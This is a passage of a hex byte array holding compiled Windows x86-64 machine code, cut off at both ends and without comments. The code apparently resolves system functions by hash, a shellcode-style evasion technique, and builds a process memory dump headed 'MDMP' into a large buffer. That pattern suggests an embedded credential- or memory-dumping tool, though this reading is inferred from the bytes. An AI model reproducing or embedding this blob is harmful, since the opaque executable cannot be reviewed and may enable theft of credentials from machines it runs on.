,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x6F,0x1B,0x7C,0xED,0x48,0x89,0xC1,0xE8,0x3A,0xF5,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x4A,0x4C,0x8D,0x45,0xEC,0x8B,0x4D,0x20,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x4C,0x8B,0x55,0xF0,0x4D,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x75,0x10,0x48,0x8B,0x05,0xD9,0xA8,0x00,0x00,0xFF,0xD0,0x3D,0xE5,0x03,0x00,0x00,0x75,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x8D,0xA8,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x38,0x08,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x7E,0xA8,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x66,0x48,0x8B,0x45,0xF0,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x48,0x08,0x48,0x8B,0x45,0x18,0x41,0xB8,0x05,0x01,0x00,0x00,0x48,0x89,0xC2,0xE8,0x9D,0x16,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x55,0x20,0x89,0x90,0x30,0x08,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x55,0x28,0x89,0x90,0x34,0x08,0x00,0x00,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x41,0xB8,0x38,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0x99,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0xF1,0xA7,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE9,0xA7,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x74,0x07,0x48,0x83,0x7D,0x10,0xFF,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x60,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x05,0x38,0x00,0x00,0x48,0x89,0xC1,0xE8,0x78,0xF5,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xEA,0x7A,0xA4,0xAE,0x48,0x89,0xC1,0xE8,0x86,0xF3,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x1F,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0xC1,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x0D,0xA7,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x38,0x08,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xFE,0xA6,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x3C,0x48,0x8B,0x45,0xF0,0xC7,0x00,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x55,0x18,0x89,0x50,0x08,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x41,0xB8,0x38,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0x43,0xFD,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0x9B,0xA6,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x93,0xA6,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1B,0xFA,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x21,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x01,0x75,0x19,0x48,0x8B,0x45,0xF0,0x8B,0x50,0x08,0x48,0x8B,0x45,0x28,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0xF7,0xA5,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF3,0xA5,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x57,0x53,0x48,0x81,0xEC,0xA0,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0xC7,0x85,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xF4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0xC0,0x01,0x00,0x00,0x0F,0x11,0x85,0xD0,0x01,0x00,0x00,0x66,0x0F,0xD6,0x85,0xE0,0x01,0x00,0x00,0xC7,0x85,0x1C,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x18,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x10,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xB8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x08,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xB0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8D,0x85,0x00,0x02,0x00,0x00,0x49,0x89,0xC0,0xBA,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0xF5,0x35,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAD,0xF4,0xFF,0xFF,0x89,0x85,0x18,0x02,0x00,0x00,0x83,0xBD,0x18,0x02,0x00,0x00,0x00,0x0F,0x84,0xE4,0x01,0x00,0x00,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x37,0xF8,0xFF,0xFF,0x89,0x85,0x18,0x02,0x00,0x00,0x83,0xBD,0x18,0x02,0x00,0x00,0x00,0x0F,0x84,0xC5,0x01,0x00,0x00,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x48,0x8D,0x8D,0xF4,0x01,0x00,0x00,0x48,0x8D,0x95,0xF8,0x01,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xD7,0xF9,0xFF,0xFF,0x89,0x85,0x18,0x02,0x00,0x00,0x83,0xBD,0x18,0x02,0x00,0x00,0x00,0x0F,0x84,0x8F,0x01,0x00,0x00,0x48,0x8D,0x45,0xB0,0x48,0x89,0x45,0xA8,0x66,0xC7,0x45,0xA0,0x00,0x00,0x66,0xC7,0x45,0xA2,0x00,0x00,0x48,0xC7,0x85,0xC8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xD8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x95,0xF8,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC1,0xE8,0x87,0xAA,0xFF,0xFF,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC1,0xE8,0x27,0xAD,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0x41,0x01,0x00,0x00,0x8B,0x85,0xF4,0x01,0x00,0x00,0x85,0xC0,0x74,0x1E,0xC7,0x85,0xE0,0x01,0x00,0x00,0x4D,0x44,0x4D,0x50,0x66,0xC7,0x85,0xE4,0x01,0x00,0x00,0x93,0xA7,0x66,0xC7,0x85,0xE6,0x01,0x00,0x00,0x00,0x00,0xEB,0x2C,0x48,0x8D,0x85,0xC0,0x01,0x00,0x00,0x48,0x8D,0x48,0x26,0x48,0x8D,0x85,0xC0,0x01,0x00,0x00,0x48,0x8D,0x50,0x24,0x48,0x8D,0x85,0xC0,0x01,0x00,0x00,0x48,0x83,0xC0,0x20,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x19,0xB4,0xFF,0xFF,0x48,0xC7,0x85,0x10,0x02,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x48,0xC7,0x85,0xB8,0x01,0x00,0x00,0x00,0x00,0x80,0x0C,0x48,0x8D,0x85,0xB8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1C,0xB3,0xFF,0xFF,0x48,0x89,0x85,0x08,0x02,0x00,0x00,0x48,0x83,0xBD,0x08,0x02,0x00,0x00,0x00,0x0F,0x84,0xB6,0x00,0x00,0x00,0x48,0x8B,0x85,0x10,0x02,0x00,0x00,0x48,0x89,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x85,0x08,0x02,0x00,0x00,0x48,0x89,0x85,0xC8,0x01,0x00,0x00,0xC7,0x85,0xD0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xB8,0x01,0x00,0x00,0x48,0x89,0x85,0xD8,0x01,0x00,0x00,0x48,0x8D,0x85,0xC0,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x42,0xEB,0xFF,0xFF,0x89,0x85,0x18,0x02,0x00,0x00,0x83,0xBD,0x18,0x02,0x00,0x00,0x00,0x74,0x67,0x8B,0x85,0xF4,0x01,0x00,0x00,0x85,0xC0,0x75,0x17,0x8B,0x85,0xD0,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF2,0xB2,0xFF,0xFF,0x8B,0x8D,0xD0,0x01,0x00,0x00,0x48,0x8B,0x95,0xC8,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x9A,0xAA,0xFF,0xFF,0x89,0x85,0x18,0x02,0x00,0x00,0x83,0xBD,0x18,0x02,0x00,0x00,0x00,0x74,0x1E,0xC7,0x85,0x1C,0x02,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x22,0x48,0x8B,0x85,0xD8,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x16,0x48,0x8B,0x95,0xD8,0x01,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x89,0xB2,0xFF,0xFF,0x83,0xBD,0x1C,0x02,0x00,0x00,0x00,0x75,0x0F,0x48,0x8B,0x85,0xF8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x90,0xAC,0xFF,0xFF,0x48,0x8B,0x85,0xF8,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x24,0x48,0x8B,0x9D,0xF8,0x01,0x00,0x00,0x48,0x8B,0x05,0xA3,0xA2,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9F,0xA2,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x8B,0x95,0x1C,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3F,0xFB,0xFF,0xFF,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8F,0xFA,0xFF,0xFF,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x18,0xC3,0xFF,0xFF,0x8B,0x85,0x1C,0x02,0x00,0x00,0x48,0x81,0xC4,0xA0,0x02,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x83,0x7D,0x18,0x03,0x74,0x25,0x83,0x7D,0x18,0x03,0x77,0x26,0x83,0x7D,0x18,0x02,0x74,0x1C,0x83,0x7D,0x18,0x02,0x77,0x1A,0x83,0x7D,0x18,0x00,0x74,0x13,0x83,0x7D,0x18,0x01,0x75,0x0E,0xE8,0x25,0xFC,0xFF,0xFF,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x8B,0x05,0x41,0x20,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x26,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x05,0x27,0x20,0x00,0x00,0x48,0x8D,0x50,0x08,0x48,0x8B,0x40,0x08,0x48,0x89,0x15,0x18,0x20,0x00,0x00,0x48,0x85,0xC0,0x75,0xE3,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x8B,0x15,0x4D,0x34,0x00,0x00,0x48,0x8B,0x02,0x89,0xC1,0x83,0xF8,0xFF,0x74,0x43,0x85,0xC9,0x74,0x22,0x89,0xC8,0x83,0xE9,0x01,0x48,0x8D,0x1C,0xC2,0x48,0x29,0xC8,0x48,0x8D,0x74,0xC2,0xF8,0x66,0x0F,0x1F,0x44,0x00,0x00,0xFF,0x13,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x75,0xF5,0x48,0x8D,0x0D,0x66,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xE9,0xFA,0xA2,0xFF,0xFF,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x66,0x0F,0x1F,0x44,0x00,0x00,0x44,0x8D,0x40,0x01,0x89,0xC1,0x4A,0x83,0x3C,0xC2,0x00,0x4C,0x89,0xC0,0x75,0xF0,0xEB,0xA3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x05,0x0A,0x82,0x00,0x00,0x85,0xC0,0x74,0x06,0xC3,0x0F,0x1F,0x44,0x00,0x00,0xC7,0x05,0xF6,0x81,0x00,0x00,0x01,0x00,0x00,0x00,0xE9,0x61,0xFF,0xFF,0xFF,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x83,0xFA,0x03,0x74,0x13,0x85,0xD2,0x74,0x0F,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x0F,0x1F,0x40,0x00,0xE8,0x8B,0x07,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x8B,0x05,0x6D,0x33,0x00,0x00,0x83,0x38,0x02,0x74,0x06,0xC7,0x00,0x02,0x00,0x00,0x00,0x83,0xFA,0x02,0x74,0x15,0x83,0xFA,0x01,0x74,0x48,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x0F,0x1F,0x00,0x48,0x8D,0x1D,0x31,0xAF,0x00,0x00,0x48,0x8D,0x35,0x2A,0xAF,0x00,0x00,0x48,0x39,0xF3,0x74,0xDD,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8B,0x03,0x48,0x85,0xC0,0x74,0x02,0xFF,0xD0,0x48,0x83,0xC3,0x08,0x48,0x39,0xF3,0x75,0xED,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0xE8,0x0B,0x07,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x31,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x30,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0xCB,0x48,0x8D,0x45,0x28,0xB9,0x02,0x00,0x00,0x00,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0x48,0x89,0x45,0xF8,0xE8,0x43,0x0C,0x00,0x00,0x41,0xB8,0x1B,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x0D,0x41,0x31,0x00,0x00,0x49,0x89,0xC1,0xE8,0x19,0x0E,0x00,0x00,0x48,0x8B,0x75,0xF8,0xB9,0x02,0x00,0x00,0x00,0xE8,0x1B,0x0C,0x00,0x00,0x48,0x89,0xDA,0x48,0x89,0xC1,0x49,0x89,0xF0,0xE8,0x65,0x0E,0x00,0x00,0xE8,0xE0,0x0D,0x00,0x00,0x90,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x63,0x35,0xE0,0x80,0x00,0x00,0x48,0x89,0xCB,0x85,0xF6,0x0F,0x8E,0x11,0x01,0x00,0x00,0x48,0x8B,0x05,0xD2,0x80,0x00,0x00,0x45,0x31,0xC9,0x48,0x83,0xC0,0x18,0x0F,0x1F,0x00,0x4C,0x8B,0x00,0x4C,0x39,0xC3,0x72,0x13,0x48,0x8B,0x50,0x08,0x8B,0x52,0x08,0x49,0x01,0xD0,0x4C,0x39,0xC3,0x0F,0x82,0x88,0x00,0x00,0x00,0x41,0x83,0xC1,0x01,0x48,0x83,0xC0,0x28,0x41,0x39,0xF1,0x75,0xD8,0x48,0x89,0xD9,0xE8,0x40,0x08,0x00,0x00,0x48,0x89,0xC7,0x48,0x85,0xC0,0x0F,0x84,0xE6,0x00,0x00,0x00,0x48,0x8B,0x05,0x85,0x80,0x00,0x00,0x48,0x8D,0x1C,0xB6,0x48,0xC1,0xE3,0x03,0x48,0x01,0xD8,0x48,0x89,0x78,0x20,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0x53,0x09,0x00,0x00,0x8B,0x57,0x0C,0x41,0xB8,0x30,0x00,0x00,0x00,0x48,0x8D,0x0C,0x10,0x48,0x8B,0x05,0x57,0x80,0x00,0x00,0x48,0x8D,0x55,0xD0,0x48,0x89,0x4C,0x18,0x18,0xFF,0x15,0x40,0x9F,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x7E,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x50,0xFC,0x83,0xE2,0xFB,0x74,0x08,0x8D,0x50,0xC0,0x83,0xE2,0xBF,0x75,0x14,0x83,0x05,0x21,0x80,0x00,0x00,0x01,0x48,0x83,0xC4,0x58,0x5B,0x5E,0x5F,0x5D,0xC3,0x0F,0x1F,0x40,0x00,0x83,0xF8,0x02,0x48,0x8B,0x4D,0xD0,0x48,0x8B,0x55,0xE8,0x41,0xB8,0x40,0x00,0x00,0x00,0xB8,0x04,0x00,0x00,0x00,0x44,0x0F,0x44,0xC0,0x48,0x03,0x1D,0xF7,0x7F,0x00,0x00,0x48,0x89,0x4B,0x08,0x49,0x89,0xD9,0x48,0x89,0x53,0x10,0xFF,0x15,0xD6,0x9E,0x00,0x00,0x85,0xC0,0x75,0xB6,0xFF,0x15,0x8C,0x9E,0x00,0x00,0x48,0x8D,0x0D,0x65,0x30,0x00,0x00,0x89,0xC2,0xE8,0x66,0xFE,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x31,0xF6,0xE9,0x21,0xFF,0xFF,0xFF,0x48,0x8B,0x05,0xBA,0x7F,0x00,0x00,0x8B,0x57,0x08,0x48,0x8D,0x0D,0x08,0x30,0x00,0x00,0x4C,0x8B,0x44,0x18,0x18,0xE8,0x3E,0xFE,0xFF,0xFF,0x48,0x89,0xDA,0x48,0x8D,0x0D,0xD4,0x2F,0x00,0x00,0xE8,0x2F,0xFE,0xFF,0xFF,0x90,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x55,0x41,0x57,0x41,0x56,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0x44,0x8B,0x25,0x64,0x7F,0x00,0x00,0x45,0x85,0xE4,0x74,0x17,0x48,0x8D,0x65,0x08,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0xC7,0x05,0x3E,0x7F,0x00,0x00,0x01,0x00,0x00,0x00,0xE8,0x69,0x07,0x00,0x00,0x48,0x98,0x48,0x8D,0x04,0x80,0x48,0x8D,0x04,0xC5,0x0F,0x00,0x00,0x00,0x48,0x83,0xE0,0xF0,0xE8,0xB2,0x09,0x00,0x00,0x4C,0x8B,0x2D,0xBB,0x30,0x00,0x00,0x48,0x8B,0x1D,0xC4,0x30,0x00,0x00,0xC7,0x05,0x0E,0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x29,0xC4,0x48,0x8D,0x44,0x24,0x30,0x48,0x89,0x05,0x03,0x7F,0x00,0x00,0x4C,0x89,0xE8,0x48,0x29,0xD8,0x48,0x83,0xF8,0x07,0x7E,0x90,0x8B,0x13,0x48,0x83,0xF8,0x0B,0x0F,0x8F,0x03,0x01,0x00,0x00,0x8B,0x03,0x85,0xC0,0x0F,0x85,0x69,0x02,0x00,0x00,0x8B,0x43,0x04,0x85,0xC0,0x0F,0x85,0x5E,0x02,0x00,0x00,0x8B,0x53,0x08,0x83,0xFA,0x01,0x0F,0x85,0x92,0x02,0x00,0x00,0x48,0x83,0xC3,0x0C,0x4C,0x39,0xEB,0x0F,0x83,0x56,0xFF,0xFF,0xFF,0x4C,0x8B,0x35,0x7E,0x30,0x00,0x00,0x41,0xBF,0xFF,0xFF,0xFF,0xFF,0xEB,0x65,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xF9,0x08,0x0F,0x84,0xD7,0x00,0x00,0x00,0x83,0xF9,0x10,0x0F,0x85,0x50,0x02,0x00,0x00,0x0F,0xB7,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x66,0x85,0xF6,0x0F,0x89,0xCC,0x01,0x00,0x00,0x48,0x81,0xCE,0x00,0x00,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x12,0x48,0x81,0xFE,0x00,0x80,0xFF,0xFF,0x7C,0x65,0x48,0x81,0xFE,0xFF,0xFF,0x00,0x00,0x7F,0x5C,0x48,0x89,0xF9,0xE8,0x61,0xFD,0xFF,0xFF,0x66,0x89,0x37,0x48,0x83,0xC3,0x0C,0x4C,0x39,0xEB,0x0F,0x83,0xD1,0x00,0x00,0x00,0x8B,0x03,0x8B,0x53,0x08,0x8B,0x7B,0x04,0x4C,0x01,0xF0,0x0F,0xB6,0xCA,0x4C,0x8B,0x08,0x4C,0x01,0xF7,0x83,0xF9,0x20,0x0F,0x84,0x0C,0x01,0x00,0x00,0x76,0x82,0x83,0xF9,0x40,0x0F,0x85,0xDB,0x01,0x00,0x00,0x48,0x8B,0x37,0x89,0xD1,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x81,0xE1,0xC0,0x00,0x00,0x00,0x0F,0x85,0x42,0x01,0x00,0x00,0x48,0x85,0xF6,0x78,0xAF,0x48,0x89,0x74,0x24,0x20,0x89,0xCA,0x49,0x89,0xF8,0x48,0x8D,0x0D,0x14,0x2F,0x00,0x00,0xE8,0x87,0xFC,0xFF,0xFF,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x85,0xD2,0x0F,0x85,0x68,0x01,0x00,0x00,0x8B,0x43,0x04,0x89,0xC2,0x0B,0x53,0x08,0x0F,0x85,0xF4,0xFE,0xFF,0xFF,0x48,0x83,0xC3,0x0C,0xE9,0xDE,0xFE,0xFF,0xFF,0x90,0x0F,0xB6,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x40,0x84,0xF6,0x0F,0x89,0x26,0x01,0x00,0x00,0x48,0x81,0xCE,0x00,0xFF,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x0F,0x48,0x81,0xFE,0xFF,0x00,0x00,0x00,0x7F,0x97,0x48,0x83,0xFE,0x80,0x7C,0x91,0x48,0x89,0xF9,0x48,0x83,0xC3,0x0C,0xE8,0x92,0xFC,0xFF,0xFF,0x40,0x88,0x37,0x4C,0x39,0xEB,0x0F,0x82,0x35,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x15,0x6E,0x7D,0x00,0x00,0x85,0xD2,0x0F,0x8E,0x03,0xFE,0xFF,0xFF,0x48,0x8B,0x35,0x53,0x9C,0x00,0x00,0x31,0xDB,0x48,0x8D,0x7D,0xFC,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8B,0x05,0x51,0x7D,0x00,0x00,0x48,0x01,0xD8,0x44,0x8B,0x00,0x45,0x85,0xC0,0x74,0x0D,0x48,0x8B,0x50,0x10,0x48,0x8B,0x48,0x08,0x49,0x89,0xF9,0xFF,0xD6,0x41,0x83,0xC4,0x01,0x48,0x83,0xC3,0x28,0x44,0x3B,0x25,0x26,0x7D,0x00,0x00,0x7C,0xD0,0xE9,0xBC,0xFD,0xFF,0xFF,0x0F,0x1F,0x00,0x8B,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x85,0xF6,0x79,0x74,0x49,0xBB,0x00,0x00,0x0